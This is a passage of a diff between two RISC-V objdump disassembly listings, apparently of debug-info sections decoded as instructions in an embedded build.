+    1f2e:	00012c0f          	0x12c0f
+    1f32:	0500                	addi	s0,sp,640
+    1f34:	00d87003          	0xd87003
+    1f38:	0080                	addi	s0,sp,64
+    1f3a:	0001320b          	0x1320b
+    1f3e:	3100                	fld	fs0,32(a0)
+    1f40:	0005                	c.nop	1
+    1f42:	1a00                	addi	s0,sp,304
+    1f44:	0d00                	addi	s0,sp,656
+    1f46:	a4d2                	fsd	fs4,72(sp)
+    1f48:	0000                	unimp
+    1f4a:	1201                	addi	tp,tp,-32
+    1f4c:	3c05                	jal	197c <__stack_size+0x117c>
+    1f4e:	0000                	unimp
+    1f50:	9c00                	0x9c00
+    1f52:	4022                	0x4022
+    1f54:	0820                	addi	s0,sp,24
+    1f56:	0000                	unimp
+    1f58:	0100                	addi	s0,sp,128
+    1f5a:	699c                	flw	fa5,16(a1)
+    1f5c:	0005                	c.nop	1
+    1f5e:	0e00                	addi	s0,sp,784
+    1f60:	a472                	fsd	ft8,8(sp)
     1f62:	0000                	unimp
-    1f64:	00014b07          	flq	fs6,0(sp)
-    1f68:	0200                	addi	s0,sp,256
-    1f6a:	2729                	jal	2674 <__stack_size+0x1e74>
-    1f6c:	0000                	unimp
-    1f6e:	3005                	jal	178e <__stack_size+0xf8e>
-    1f70:	8014                	0x8014
-    1f72:	0000                	unimp
-    1f74:	0200                	addi	s0,sp,256
-    1f76:	a218                	fsd	fa4,0(a2)
+    1f64:	1201                	addi	tp,tp,-32
+    1f66:	3c10                	fld	fa2,56(s0)
+    1f68:	0000                	unimp
+    1f6a:	5500                	lw	s0,40(a0)
+    1f6c:	000a                	c.slli	zero,0x2
+    1f6e:	1700                	addi	s0,sp,928
+    1f70:	01007473          	csrrci	s0,0x10,0
+    1f74:	2312                	fld	ft6,256(sp)
+    1f76:	0569                	addi	a0,a0,26
     1f78:	0000                	unimp
-    1f7a:	2a06                	fld	fs4,64(sp)
-    1f7c:	9a12                	add	s4,s4,tp
-    1f7e:	0000                	unimp
-    1f80:	0900                	addi	s0,sp,144
-    1f82:	a2ee                	fsd	fs11,320(sp)
-    1f84:	0000                	unimp
-    1f86:	0710                	addi	a2,sp,896
-    1f88:	019c082f          	0x19c082f
+    1f7a:	5b01                	li	s6,-32
+    1f7c:	0600                	addi	s0,sp,768
+    1f7e:	1404                	addi	s1,sp,544
+    1f80:	0002                	c.slli64	zero
+    1f82:	0d00                	addi	s0,sp,656
+    1f84:	a440                	fsd	fs0,136(s0)
+    1f86:	0000                	unimp
+    1f88:	0b01                	addi	s6,s6,0
+    1f8a:	3c05                	jal	19ba <__stack_size+0x11ba>
     1f8c:	0000                	unimp
-    1f8e:	820a                	mv	tp,sp
-    1f90:	0091                	addi	ra,ra,4
-    1f92:	0700                	addi	s0,sp,896
-    1f94:	0930                	addi	a2,sp,152
-    1f96:	0168                	addi	a0,sp,140
-    1f98:	0000                	unimp
-    1f9a:	0a00                	addi	s0,sp,272
-    1f9c:	a306                	fsd	ft1,384(sp)
-    1f9e:	0000                	unimp
-    1fa0:	79073107          	fld	ft2,1936(a4)
-    1fa4:	0000                	unimp
-    1fa6:	0800                	addi	s0,sp,16
-    1fa8:	0200                	addi	s0,sp,256
-    1faa:	a2b6                	fsd	fa3,320(sp)
+    1f8e:	9800                	0x9800
+    1f90:	4022                	0x4022
+    1f92:	0420                	addi	s0,sp,520
+    1f94:	0000                	unimp
+    1f96:	0100                	addi	s0,sp,128
+    1f98:	9a9c                	0x9a9c
+    1f9a:	0005                	c.nop	1
+    1f9c:	0e00                	addi	s0,sp,784
+    1f9e:	a472                	fsd	ft8,8(sp)
+    1fa0:	0000                	unimp
+    1fa2:	0b01                	addi	s6,s6,0
+    1fa4:	3c10                	fld	fa2,56(s0)
+    1fa6:	0000                	unimp
+    1fa8:	7600                	flw	fs0,40(a2)
+    1faa:	000a                	c.slli	zero,0x2
     1fac:	0000                	unimp
-    1fae:	6108                	flw	fa0,0(a0)
-    1fb0:	a614                	fsd	fa3,8(a2)
-    1fb2:	0000                	unimp
-    1fb4:	0200                	addi	s0,sp,256
-    1fb6:	a251                	j	213a <__stack_size+0x193a>
-    1fb8:	0000                	unimp
-    1fba:	6608                	flw	fa0,8(a2)
-    1fbc:	b215                	j	18e0 <__stack_size+0x10e0>
-    1fbe:	0000                	unimp
-    1fc0:	0200                	addi	s0,sp,256
-    1fc2:	0000a2c7          	fmsub.s	ft5,ft1,ft0,ft0,rdn
-    1fc6:	8b08                	0x8b08
-    1fc8:	ee12                	fsw	ft4,28(sp)
-    1fca:	0000                	unimp
-    1fcc:	0200                	addi	s0,sp,256
-    1fce:	a2f9                	j	219c <__stack_size+0x199c>
-    1fd0:	0000                	unimp
-    1fd2:	9d08                	0x9d08
-    1fd4:	0612                	slli	a2,a2,0x4
-    1fd6:	0001                	nop
-    1fd8:	0200                	addi	s0,sp,256
-    1fda:	a232                	fsd	fa2,256(sp)
-    1fdc:	0000                	unimp
-    1fde:	a108                	fsd	fa0,0(a0)
-    1fe0:	ca12                	sw	tp,20(sp)
-    1fe2:	0000                	unimp
-    1fe4:	0200                	addi	s0,sp,256
-    1fe6:	a31e                	fsd	ft7,384(sp)
-    1fe8:	0000                	unimp
-    1fea:	a508                	fsd	fa0,8(a0)
-    1fec:	d612                	sw	tp,44(sp)
-    1fee:	0000                	unimp
-    1ff0:	0200                	addi	s0,sp,256
-    1ff2:	a20a                	fsd	ft2,256(sp)
-    1ff4:	0000                	unimp
-    1ff6:	a908                	fsd	fa0,16(a0)
-    1ff8:	e212                	fsw	ft4,4(sp)
-    1ffa:	0000                	unimp
-    1ffc:	0200                	addi	s0,sp,256
-    1ffe:	92f0                	0x92f0
-    2000:	0000                	unimp
-    2002:	b808                	fsd	fa0,48(s0)
-    2004:	1212                	slli	tp,tp,0x24
-    2006:	0001                	nop
-    2008:	0200                	addi	s0,sp,256
-    200a:	a292                	fsd	ft4,320(sp)
-    200c:	0000                	unimp
-    200e:	bd08                	fsd	fa0,56(a0)
-    2010:	fa12                	fsw	ft4,52(sp)
-    2012:	0000                	unimp
-    2014:	0200                	addi	s0,sp,256
-    2016:	a334                	fsd	fa3,64(a4)
-    2018:	0000                	unimp
-    201a:	c208                	sw	a0,0(a2)
-    201c:	00012013          	slti	zero,sp,0
-    2020:	0900                	addi	s0,sp,144
-    2022:	a301                	j	2522 <__stack_size+0x1d22>
-    2024:	0000                	unimp
-    2026:	0958                	addi	a4,sp,148
-    2028:	02d8081b          	0x2d8081b
-    202c:	0000                	unimp
-    202e:	e70a                	fsw	ft2,140(sp)
-    2030:	00a2                	slli	ra,ra,0x8
-    2032:	0900                	addi	s0,sp,144
-    2034:	0a1d                	addi	s4,s4,7
-    2036:	01cc                	addi	a1,sp,196
-    2038:	0000                	unimp
-    203a:	0a00                	addi	s0,sp,272
-    203c:	0000a32b          	0xa32b
-    2040:	1e09                	addi	t3,t3,-30
-    2042:	b40a                	fsd	ft2,40(sp)
-    2044:	0001                	nop
-    2046:	0200                	addi	s0,sp,256
-    2048:	140a                	slli	s0,s0,0x22
-    204a:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
-    204e:	0a1f 01fc 0000      	0x1fc0a1f
-    2054:	0a04                	addi	s1,sp,272
-    2056:	a2a4                	fsd	fs1,64(a3)
-    2058:	0000                	unimp
-    205a:	2009                	jal	205c <__stack_size+0x185c>
-    205c:	0002080b          	0x2080b
-    2060:	0800                	addi	s0,sp,16
-    2062:	400a                	0x400a
-    2064:	00a2                	slli	ra,ra,0x8
-    2066:	0900                	addi	s0,sp,144
-    2068:	0a21                	addi	s4,s4,8
-    206a:	01d8                	addi	a4,sp,196
-    206c:	0000                	unimp
-    206e:	0a0a                	slli	s4,s4,0x2
-    2070:	a2ad                	j	21da <__stack_size+0x19da>
-    2072:	0000                	unimp
-    2074:	2209                	jal	2176 <__stack_size+0x1976>
-    2076:	e40a                	fsw	ft2,8(sp)
-    2078:	0001                	nop
-    207a:	0c00                	addi	s0,sp,528
-    207c:	650a                	flw	fa0,128(sp)
-    207e:	00a2                	slli	ra,ra,0x8
-    2080:	0900                	addi	s0,sp,144
-    2082:	01cc0a23          	sb	t3,20(s8) # 4f3a <__stack_size+0x473a>
-    2086:	0000                	unimp
-    2088:	0a0e                	slli	s4,s4,0x3
-    208a:	a238                	fsd	fa4,64(a2)
-    208c:	0000                	unimp
-    208e:	2409                	jal	2290 <__stack_size+0x1a90>
-    2090:	c00a                	sw	sp,0(sp)
-    2092:	0001                	nop
-    2094:	1000                	addi	s0,sp,32
-    2096:	3c0a                	fld	fs8,160(sp)
-    2098:	090000a3          	sb	a6,129(zero) # 81 <__stack_size-0x77f>
-    209c:	132a                	slli	t1,t1,0x2a
-    209e:	0174                	addi	a3,sp,140
-    20a0:	0000                	unimp
-    20a2:	0a18                	addi	a4,sp,272
-    20a4:	a210                	fsd	fa2,0(a2)
-    20a6:	0000                	unimp
-    20a8:	2b09                	jal	25ba <__stack_size+0x1dba>
-    20aa:	00017413          	andi	s0,sp,0
-    20ae:	2800                	fld	fs0,16(s0)
-    20b0:	eb0a                	fsw	ft2,148(sp)
-    20b2:	00a1                	addi	ra,ra,8
-    20b4:	0900                	addi	s0,sp,144
-    20b6:	132c                	addi	a1,sp,424
-    20b8:	0174                	addi	a3,sp,140
-    20ba:	0000                	unimp
-    20bc:	0a38                	addi	a4,sp,280
-    20be:	0000a1f3          	csrrs	gp,ustatus,ra
-    20c2:	2d09                	jal	26d4 <__stack_size+0x1ed4>
-    20c4:	a811                	j	20d8 <__stack_size+0x18d8>
-    20c6:	0001                	nop
-    20c8:	4800                	lw	s0,16(s0)
-    20ca:	fe0a                	fsw	ft2,60(sp)
-    20cc:	00a1                	addi	ra,ra,8
-    20ce:	0900                	addi	s0,sp,144
-    20d0:	0c2e                	slli	s8,s8,0xb
-    20d2:	019c                	addi	a5,sp,192
-    20d4:	0000                	unimp
-    20d6:	0a4c                	addi	a1,sp,276
-    20d8:	0000a25b          	0xa25b
-    20dc:	3009                	jal	18de <__stack_size+0x10de>
-    20de:	d809                	beqz	s0,1ff0 <__stack_size+0x17f0>
-    20e0:	0002                	c.slli64	zero
-    20e2:	5000                	lw	s0,32(s0)
-    20e4:	0b00                	addi	s0,sp,400
-    20e6:	0079                	c.nop	30
-    20e8:	0000                	unimp
-    20ea:	02e8                	addi	a0,sp,332
-    20ec:	0000                	unimp
-    20ee:	350c                	fld	fa1,40(a0)
-    20f0:	0000                	unimp
-    20f2:	0100                	addi	s0,sp,128
-    20f4:	0d00                	addi	s0,sp,656
-    20f6:	a21f 0000 5f01      	0x5f010000a21f
-    20fc:	2908                	fld	fa0,16(a0)
-    20fe:	0000                	unimp
-    2100:	c000                	sw	s0,0(s0)
-    2102:	5420402b          	0x5420402b
-    2106:	0000                	unimp
-    2108:	0100                	addi	s0,sp,128
-    210a:	6e9c                	flw	fa5,24(a3)
-    210c:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
-    2110:	a29f 0000 5f01      	0x5f010000a29f
-    2116:	00003c13          	sltiu	s8,zero,0
-    211a:	9000                	0x9000
-    211c:	000d                	c.nop	3
-    211e:	0f00                	addi	s0,sp,912
-    2120:	7470                	flw	fa2,108(s0)
-    2122:	0072                	c.slli	zero,0x1c
-    2124:	5f01                	li	t5,-32
-    2126:	4425                	li	s0,9
-    2128:	0001                	nop
-    212a:	b100                	fsd	fs0,32(a0)
-    212c:	000d                	c.nop	3
-    212e:	0f00                	addi	s0,sp,912
-    2130:	656c                	flw	fa1,76(a0)
-    2132:	006e                	c.slli	zero,0x1b
-    2134:	5f01                	li	t5,-32
-    2136:	2931                	jal	2552 <__stack_size+0x1d52>
-    2138:	0000                	unimp
-    213a:	e800                	fsw	fs0,16(s0)
-    213c:	000d                	c.nop	3
-    213e:	1000                	addi	s0,sp,32
-    2140:	0310                	addi	a2,sp,384
-    2142:	0000                	unimp
-    2144:	035c                	addi	a5,sp,388
-    2146:	0000                	unimp
-    2148:	d711                	beqz	a4,2054 <__stack_size+0x1854>
-    214a:	00a2                	slli	ra,ra,0x8
-    214c:	0100                	addi	s0,sp,128
-    214e:	1364                	addi	s1,sp,428
-    2150:	036e                	slli	t1,t1,0x1b
-    2152:	0000                	unimp
-    2154:	1012                	c.slli	zero,0x24
-    2156:	13000003          	lb	zero,304(zero) # 130 <__stack_size-0x6d0>
-    215a:	0069                	c.nop	26
-    215c:	6601                	0x6601
-    215e:	0000290f          	0x290f
-    2162:	2d00                	fld	fs0,24(a0)
-    2164:	000e                	c.slli	zero,0x3
-    2166:	0000                	unimp
-    2168:	1400                	addi	s0,sp,544
-    216a:	2bd0                	fld	fa2,144(a5)
-    216c:	2040                	fld	fs0,128(s0)
-    216e:	059a                	slli	a1,a1,0x6
-    2170:	0000                	unimp
-    2172:	0115                	addi	sp,sp,5
-    2174:	035a                	slli	t1,t1,0x16
-    2176:	005a01f3          	0x5a01f3
-    217a:	0600                	addi	s0,sp,768
-    217c:	5704                	lw	s1,40(a4)
-    217e:	0001                	nop
-    2180:	0d00                	addi	s0,sp,656
-    2182:	a2e1                	j	234a <__stack_size+0x1b4a>
-    2184:	0000                	unimp
-    2186:	4b01                	li	s6,0
-    2188:	3c05                	jal	1bb8 <__stack_size+0x13b8>
-    218a:	0000                	unimp
-    218c:	8400                	0x8400
-    218e:	3c20402b          	0x3c20402b
-    2192:	0000                	unimp
-    2194:	0100                	addi	s0,sp,128
-    2196:	fa9c                	fsw	fa5,48(a3)
-    2198:	0e000003          	lb	zero,224(zero) # e0 <__stack_size-0x720>
-    219c:	a29f 0000 4b01      	0x4b010000a29f
-    21a2:	00003c0f          	0x3c0f
-    21a6:	7700                	flw	fs0,40(a4)
-    21a8:	000e                	c.slli	zero,0x3
-    21aa:	0f00                	addi	s0,sp,912
-    21ac:	7470                	flw	fa2,108(s0)
-    21ae:	0072                	c.slli	zero,0x1c
-    21b0:	4b01                	li	s6,0
-    21b2:	00012c1b          	0x12c1b
-    21b6:	9800                	0x9800
-    21b8:	000e                	c.slli	zero,0x3
-    21ba:	0f00                	addi	s0,sp,912
-    21bc:	656c                	flw	fa1,76(a0)
-    21be:	006e                	c.slli	zero,0x1b
-    21c0:	4b01                	li	s6,0
-    21c2:	00002927          	fsw	ft0,18(zero) # 12 <__stack_size-0x7ee>
-    21c6:	f300                	fsw	fs0,32(a4)
-    21c8:	000e                	c.slli	zero,0x3
-    21ca:	1000                	addi	s0,sp,32
-    21cc:	02f8                	addi	a4,sp,332
-    21ce:	0000                	unimp
-    21d0:	03e8                	addi	a0,sp,460
-    21d2:	0000                	unimp
-    21d4:	1f16                	slli	t5,t5,0x25
-    21d6:	01000057          	0x1000057
-    21da:	0b50                	addi	a2,sp,404
-    21dc:	01f0                	addi	a2,sp,204
-    21de:	0000                	unimp
-    21e0:	0f2a                	slli	t5,t5,0xa
-    21e2:	0000                	unimp
-    21e4:	e416                	fsw	ft5,8(sp)
-    21e6:	00a1                	addi	ra,ra,8
-    21e8:	0100                	addi	s0,sp,128
-    21ea:	0751                	addi	a4,a4,20
-    21ec:	003c                	addi	a5,sp,8
-    21ee:	0000                	unimp
-    21f0:	0f48                	addi	a0,sp,916
-    21f2:	0000                	unimp
-    21f4:	1400                	addi	s0,sp,544
-    21f6:	2b94                	fld	fa3,16(a5)
-    21f8:	2040                	fld	fs0,128(s0)
-    21fa:	059a                	slli	a1,a1,0x6
-    21fc:	0000                	unimp
-    21fe:	0115                	addi	sp,sp,5
-    2200:	035a                	slli	t1,t1,0x16
-    2202:	005a01f3          	0x5a01f3
-    2206:	0d00                	addi	s0,sp,656
-    2208:	a30e                	fsd	ft3,384(sp)
-    220a:	0000                	unimp
-    220c:	3801                	jal	1a1c <__stack_size+0x121c>
-    220e:	3c05                	jal	1c3e <__stack_size+0x143e>
-    2210:	0000                	unimp
-    2212:	5400                	lw	s0,40(s0)
-    2214:	3020402b          	0x3020402b
-    2218:	0000                	unimp
-    221a:	0100                	addi	s0,sp,128
-    221c:	5f9c                	lw	a5,56(a5)
-    221e:	0004                	0x4
-    2220:	0e00                	addi	s0,sp,784
-    2222:	00004d77          	0x4d77
-    2226:	3801                	jal	1a36 <__stack_size+0x1236>
-    2228:	00013e17          	auipc	t3,0x13
-    222c:	6600                	flw	fs0,8(a2)
-    222e:	0e00000f          	fence	ior,unknown
-    2232:	a299                	j	2378 <__stack_size+0x1b78>
-    2234:	0000                	unimp
-    2236:	3801                	jal	1a46 <__stack_size+0x1246>
-    2238:	3c21                	jal	1c50 <__stack_size+0x1450>
-    223a:	0000                	unimp
-    223c:	8700                	0x8700
-    223e:	0e00000f          	fence	ior,unknown
-    2242:	0000a317          	auipc	t1,0xa
-    2246:	3801                	jal	1a56 <__stack_size+0x1256>
-    2248:	3c2c                	fld	fa1,120(s0)
-    224a:	0000                	unimp
-    224c:	a800                	fsd	fs0,16(s0)
-    224e:	1400000f          	0x1400000f
-    2252:	2b64                	fld	fs1,208(a4)
-    2254:	2040                	fld	fs0,128(s0)
-    2256:	05a6                	slli	a1,a1,0x9
-    2258:	0000                	unimp
-    225a:	0115                	addi	sp,sp,5
-    225c:	035a                	slli	t1,t1,0x16
-    225e:	155a01f3          	0x155a01f3
-    2262:	5b01                	li	s6,-32
-    2264:	0305                	addi	t1,t1,1
-    2266:	5a54                	lw	a3,52(a2)
-    2268:	2040                	fld	fs0,128(s0)
-    226a:	0000                	unimp
-    226c:	240d                	jal	248e <__stack_size+0x1c8e>
-    226e:	010000a3          	sb	a6,1(zero) # 1 <__stack_size-0x7ff>
-    2272:	0531                	addi	a0,a0,12
-    2274:	003c                	addi	a5,sp,8
-    2276:	0000                	unimp
-    2278:	2b50                	fld	fa2,144(a4)
-    227a:	2040                	fld	fs0,128(s0)
-    227c:	0004                	0x4
-    227e:	0000                	unimp
-    2280:	9c01                	0x9c01
-    2282:	04a6                	slli	s1,s1,0x9
-    2284:	0000                	unimp
-    2286:	9f0e                	add	t5,t5,gp
-    2288:	00a2                	slli	ra,ra,0x8
-    228a:	0100                	addi	s0,sp,128
-    228c:	1031                	c.nop	-20
-    228e:	003c                	addi	a5,sp,8
-    2290:	0000                	unimp
-    2292:	0fc9                	addi	t6,t6,18
-    2294:	0000                	unimp
-    2296:	72747017          	auipc	zero,0x72747
-    229a:	0100                	addi	s0,sp,128
-    229c:	1c31                	addi	s8,s8,-20
-    229e:	01c0                	addi	s0,sp,196
-    22a0:	0000                	unimp
-    22a2:	5b01                	li	s6,-32
-    22a4:	72696417          	auipc	s0,0x72696
-    22a8:	0100                	addi	s0,sp,128
-    22aa:	2531                	jal	28b6 <__stack_size+0x20b6>
-    22ac:	003c                	addi	a5,sp,8
-    22ae:	0000                	unimp
-    22b0:	5c01                	li	s8,-32
-    22b2:	0d00                	addi	s0,sp,656
-    22b4:	0000a247          	fmsub.s	ft4,ft1,ft0,ft0,rdn
-    22b8:	2901                	jal	26c8 <__stack_size+0x1ec8>
-    22ba:	3c05                	jal	1cea <__stack_size+0x14ea>
-    22bc:	0000                	unimp
-    22be:	4a00                	lw	s0,16(a2)
-    22c0:	0620402b          	0x620402b
-    22c4:	0000                	unimp
-    22c6:	0100                	addi	s0,sp,128
-    22c8:	d19c                	sw	a5,32(a1)
-    22ca:	0004                	0x4
-    22cc:	0e00                	addi	s0,sp,784
-    22ce:	a29f 0000 2901      	0x29010000a29f
-    22d4:	3c11                	jal	1ce8 <__stack_size+0x14e8>
-    22d6:	0000                	unimp
-    22d8:	ea00                	fsw	fs0,16(a2)
-    22da:	0000000f          	fence	unknown,unknown
-    22de:	bf0d                	j	2210 <__stack_size+0x1a10>
-    22e0:	00a2                	slli	ra,ra,0x8
-    22e2:	0100                	addi	s0,sp,128
-    22e4:	081a                	slli	a6,a6,0x6
-    22e6:	011e                	slli	sp,sp,0x7
-    22e8:	0000                	unimp
-    22ea:	2b28                	fld	fa0,80(a4)
-    22ec:	2040                	fld	fs0,128(s0)
-    22ee:	0022                	c.slli	zero,0x8
-    22f0:	0000                	unimp
-    22f2:	9c01                	0x9c01
-    22f4:	0526                	slli	a0,a0,0x9
-    22f6:	0000                	unimp
-    22f8:	dc0e                	sw	gp,56(sp)
-    22fa:	00a2                	slli	ra,ra,0x8
-    22fc:	0100                	addi	s0,sp,128
-    22fe:	121a                	slli	tp,tp,0x26
-    2300:	003c                	addi	a5,sp,8
-    2302:	0000                	unimp
-    2304:	0000100b          	0x100b
-    2308:	2b18                	fld	fa4,16(a4)
-    230a:	00a2                	slli	ra,ra,0x8
-    230c:	0100                	addi	s0,sp,128
-    230e:	0e1d                	addi	t3,t3,7
-    2310:	0526                	slli	a0,a0,0x9
-    2312:	0000                	unimp
-    2314:	2618                	fld	fa4,8(a2)
-    2316:	00a2                	slli	ra,ra,0x8
-    2318:	0100                	addi	s0,sp,128
-    231a:	0e1e                	slli	t3,t3,0x7
-    231c:	0526                	slli	a0,a0,0x9
-    231e:	0000                	unimp
-    2320:	cd19                	beqz	a0,233e <__stack_size+0x1b3e>
-    2322:	00a2                	slli	ra,ra,0x8
-    2324:	0100                	addi	s0,sp,128
-    2326:	0f1f 012c 0000      	0x12c0f1f
-    232c:	0305                	addi	t1,t1,1
-    232e:	d878                	sw	a4,116(s0)
-    2330:	8000                	0x8000
-    2332:	0b00                	addi	s0,sp,400
-    2334:	0132                	slli	sp,sp,0xc
-    2336:	0000                	unimp
-    2338:	0531                	addi	a0,a0,12
-    233a:	0000                	unimp
-    233c:	001a                	c.slli	zero,0x6
-    233e:	ff0d                	bnez	a4,2278 <__stack_size+0x1a78>
-    2340:	00a2                	slli	ra,ra,0x8
-    2342:	0100                	addi	s0,sp,128
-    2344:	0512                	slli	a0,a0,0x4
-    2346:	003c                	addi	a5,sp,8
-    2348:	0000                	unimp
-    234a:	2b20                	fld	fs0,80(a4)
-    234c:	2040                	fld	fs0,128(s0)
-    234e:	0008                	0x8
-    2350:	0000                	unimp
-    2352:	9c01                	0x9c01
-    2354:	0569                	addi	a0,a0,26
-    2356:	0000                	unimp
-    2358:	9f0e                	add	t5,t5,gp
-    235a:	00a2                	slli	ra,ra,0x8
-    235c:	0100                	addi	s0,sp,128
-    235e:	1012                	c.slli	zero,0x24
-    2360:	003c                	addi	a5,sp,8
-    2362:	0000                	unimp
-    2364:	00001037          	lui	zero,0x1
-    2368:	00747317          	auipc	t1,0x747
-    236c:	1201                	addi	tp,tp,-32
-    236e:	00056923          	0x56923
-    2372:	0100                	addi	s0,sp,128
-    2374:	0406005b          	0x406005b
-    2378:	0214                	addi	a3,sp,256
-    237a:	0000                	unimp
-    237c:	6d0d                	lui	s10,0x3
-    237e:	00a2                	slli	ra,ra,0x8
-    2380:	0100                	addi	s0,sp,128
-    2382:	003c050b          	0x3c050b
-    2386:	0000                	unimp
-    2388:	2b1c                	fld	fa5,16(a4)
-    238a:	2040                	fld	fs0,128(s0)
-    238c:	0004                	0x4
-    238e:	0000                	unimp
-    2390:	9c01                	0x9c01
-    2392:	059a                	slli	a1,a1,0x6
-    2394:	0000                	unimp
-    2396:	9f0e                	add	t5,t5,gp
-    2398:	00a2                	slli	ra,ra,0x8
-    239a:	0100                	addi	s0,sp,128
-    239c:	003c100b          	0x3c100b
-    23a0:	0000                	unimp
-    23a2:	1058                	addi	a4,sp,36
-    23a4:	0000                	unimp
-    23a6:	1b00                	addi	s0,sp,432
-    23a8:	a248                	fsd	fa0,128(a2)
-    23aa:	0000                	unimp
-    23ac:	a248                	fsd	fa0,128(a2)
-    23ae:	0000                	unimp
-    23b0:	960a                	add	a2,a2,sp
-    23b2:	1b09                	addi	s6,s6,-30
-    23b4:	9d6c                	0x9d6c
-    23b6:	0000                	unimp
-    23b8:	9d6c                	0x9d6c
-    23ba:	0000                	unimp
-    23bc:	0006240b          	0x6240b
-    23c0:	01a8                	addi	a0,sp,200
-    23c2:	0000                	unimp
-    23c4:	0004                	0x4
-    23c6:	00000473          	0x473
-    23ca:	0104                	addi	s1,sp,128
-    23cc:	a42a                	fsd	fa0,8(sp)
-    23ce:	0000                	unimp
-    23d0:	4d0c                	lw	a1,24(a0)
-    23d2:	8e0000a3          	sb	zero,-1823(zero) # fffff8e1 <_heap_end+0x7fff10e1>
-    23d6:	140000a3          	sb	zero,321(zero) # 141 <__stack_size-0x6bf>
-    23da:	402c                	lw	a1,64(s0)
-    23dc:	2a20                	fld	fs0,80(a2)
-    23de:	0000                	unimp
-    23e0:	3500                	fld	fs0,40(a0)
-    23e2:	0200002f          	0x200002f
-    23e6:	0708                	addi	a0,sp,896
-    23e8:	06a1                	addi	a3,a3,8
-    23ea:	0000                	unimp
-    23ec:	69050403          	lb	s0,1680(a0)
-    23f0:	746e                	flw	fs0,248(sp)
-    23f2:	0200                	addi	s0,sp,256
-    23f4:	0704                	addi	s1,sp,896
-    23f6:	7164                	flw	fs1,100(a0)
-    23f8:	0000                	unimp
-    23fa:	0802                	c.slli64	a6
-    23fc:	e405                	bnez	s0,2424 <__stack_size+0x1c24>
-    23fe:	0200008f          	0x200008f
-    2402:	0410                	addi	a2,sp,512
-    2404:	9196                	add	gp,gp,t0
-    2406:	0000                	unimp
-    2408:	0102                	c.slli64	sp
-    240a:	ea06                	fsw	ft1,20(sp)
-    240c:	007e                	c.slli	zero,0x1f
-    240e:	0200                	addi	s0,sp,256
-    2410:	0801                	addi	a6,a6,0
-    2412:	1439                	addi	s0,s0,-18
-    2414:	0000                	unimp
-    2416:	0202                	c.slli64	tp
-    2418:	5405                	li	s0,-31
-    241a:	02000037          	lui	zero,0x2000
-    241e:	0702                	c.slli64	a4
-    2420:	9b7a                	add	s6,s6,t5
-    2422:	0000                	unimp
-    2424:	0402                	c.slli64	s0
-    2426:	5c05                	li	s8,-31
-    2428:	0050                	addi	a2,sp,4
-    242a:	0200                	addi	s0,sp,256
-    242c:	0704                	addi	s1,sp,896
-    242e:	6514                	flw	fa3,8(a0)
-    2430:	0000                	unimp
-    2432:	0102                	c.slli64	sp
-    2434:	f108                	fsw	fa0,32(a0)
-    2436:	007e                	c.slli	zero,0x1f
-    2438:	0400                	addi	s0,sp,512
-    243a:	0000a387          	flw	ft7,0(ra)
-    243e:	8002                	0x8002
-    2440:	00002c0f          	0x2c0f
-    2444:	0400                	addi	s0,sp,512
-    2446:	a386                	fsd	ft1,448(sp)
-    2448:	0000                	unimp
-    244a:	8102                	jr	sp
-    244c:	3316                	fld	ft6,352(sp)
-    244e:	0000                	unimp
-    2450:	0500                	addi	s0,sp,640
-    2452:	0085                	addi	ra,ra,1
-    2454:	0000                	unimp
-    2456:	df04                	sw	s1,56(a4)
-    2458:	00a5                	addi	ra,ra,9
-    245a:	0200                	addi	s0,sp,256
-    245c:	0f84                	addi	s1,sp,976
-    245e:	003a                	c.slli	zero,0xe
-    2460:	0000                	unimp
-    2462:	0402                	c.slli64	s0
-    2464:	1504                	addi	s1,sp,672
-    2466:	00a4                	addi	s1,sp,72
-    2468:	0200                	addi	s0,sp,256
-    246a:	0308                	addi	a0,sp,384
-    246c:	a40d                	j	268e <__stack_size+0x1e8e>
-    246e:	0000                	unimp
-    2470:	0802                	c.slli64	a6
-    2472:	9b04                	0x9b04
-    2474:	0091                	addi	ra,ra,4
-    2476:	0200                	addi	s0,sp,256
-    2478:	0310                	addi	a2,sp,384
-    247a:	0000a41b          	0xa41b
-    247e:	2002                	fld	ft0,0(sp)
-    2480:	00a3f903          	0xa3f903
-    2484:	0400                	addi	s0,sp,512
-    2486:	a4cd                	j	2768 <__stack_size+0x1f68>
-    2488:	0000                	unimp
-    248a:	a402                	fsd	ft0,8(sp)
-    248c:	2c0d                	jal	26be <__stack_size+0x1ebe>
-    248e:	0000                	unimp
-    2490:	0500                	addi	s0,sp,640
-    2492:	00c5                	addi	ra,ra,17
-    2494:	0000                	unimp
-    2496:	4406                	lw	s0,64(sp)
-    2498:	080000a3          	sb	zero,129(zero) # 81 <__stack_size-0x77f>
-    249c:	ed02                	fsw	ft0,152(sp)
-    249e:	0a01                	addi	s4,s4,0
-    24a0:	0101                	addi	sp,sp,0
-    24a2:	0000                	unimp
-    24a4:	776f6c07          	0x776f6c07
-    24a8:	0200                	addi	s0,sp,256
-    24aa:	01ed                	addi	gp,gp,27
-    24ac:	791a                	flw	fs2,164(sp)
-    24ae:	0000                	unimp
-    24b0:	0000                	unimp
-    24b2:	7908                	flw	fa0,48(a0)
-    24b4:	020000a3          	sb	zero,33(zero) # 21 <__stack_size-0x7df>
-    24b8:	01ed                	addi	gp,gp,27
-    24ba:	791f 0000 0400      	0x4000000791f
-    24c0:	0900                	addi	s0,sp,144
-    24c2:	0208                	addi	a0,sp,256
-    24c4:	01f4                	addi	a3,sp,204
-    24c6:	2309                	jal	29c8 <__stack_size+0x21c8>
-    24c8:	0001                	nop
-    24ca:	0a00                	addi	s0,sp,272
-    24cc:	f6020073          	0xf6020073
-    24d0:	1301                	addi	t1,t1,-32
-    24d2:	00d6                	slli	ra,ra,0x15
-    24d4:	0000                	unimp
-    24d6:	6c0a                	flw	fs8,128(sp)
-    24d8:	006c                	addi	a1,sp,12
-    24da:	f702                	fsw	ft0,172(sp)
-    24dc:	0a01                	addi	s4,s4,0
-    24de:	0096                	slli	ra,ra,0x5
-    24e0:	0000                	unimp
-    24e2:	0b00                	addi	s0,sp,400
-    24e4:	a3f1                	j	2ab0 <__stack_size+0x22b0>
-    24e6:	0000                	unimp
-    24e8:	f802                	fsw	ft0,48(sp)
-    24ea:	0301                	addi	t1,t1,0
-    24ec:	0101                	addi	sp,sp,0
-    24ee:	0000                	unimp
-    24f0:	2305                	jal	2a10 <__stack_size+0x2210>
-    24f2:	0001                	nop
-    24f4:	0c00                	addi	s0,sp,528
-    24f6:	847a                	mv	s0,t5
-    24f8:	0000                	unimp
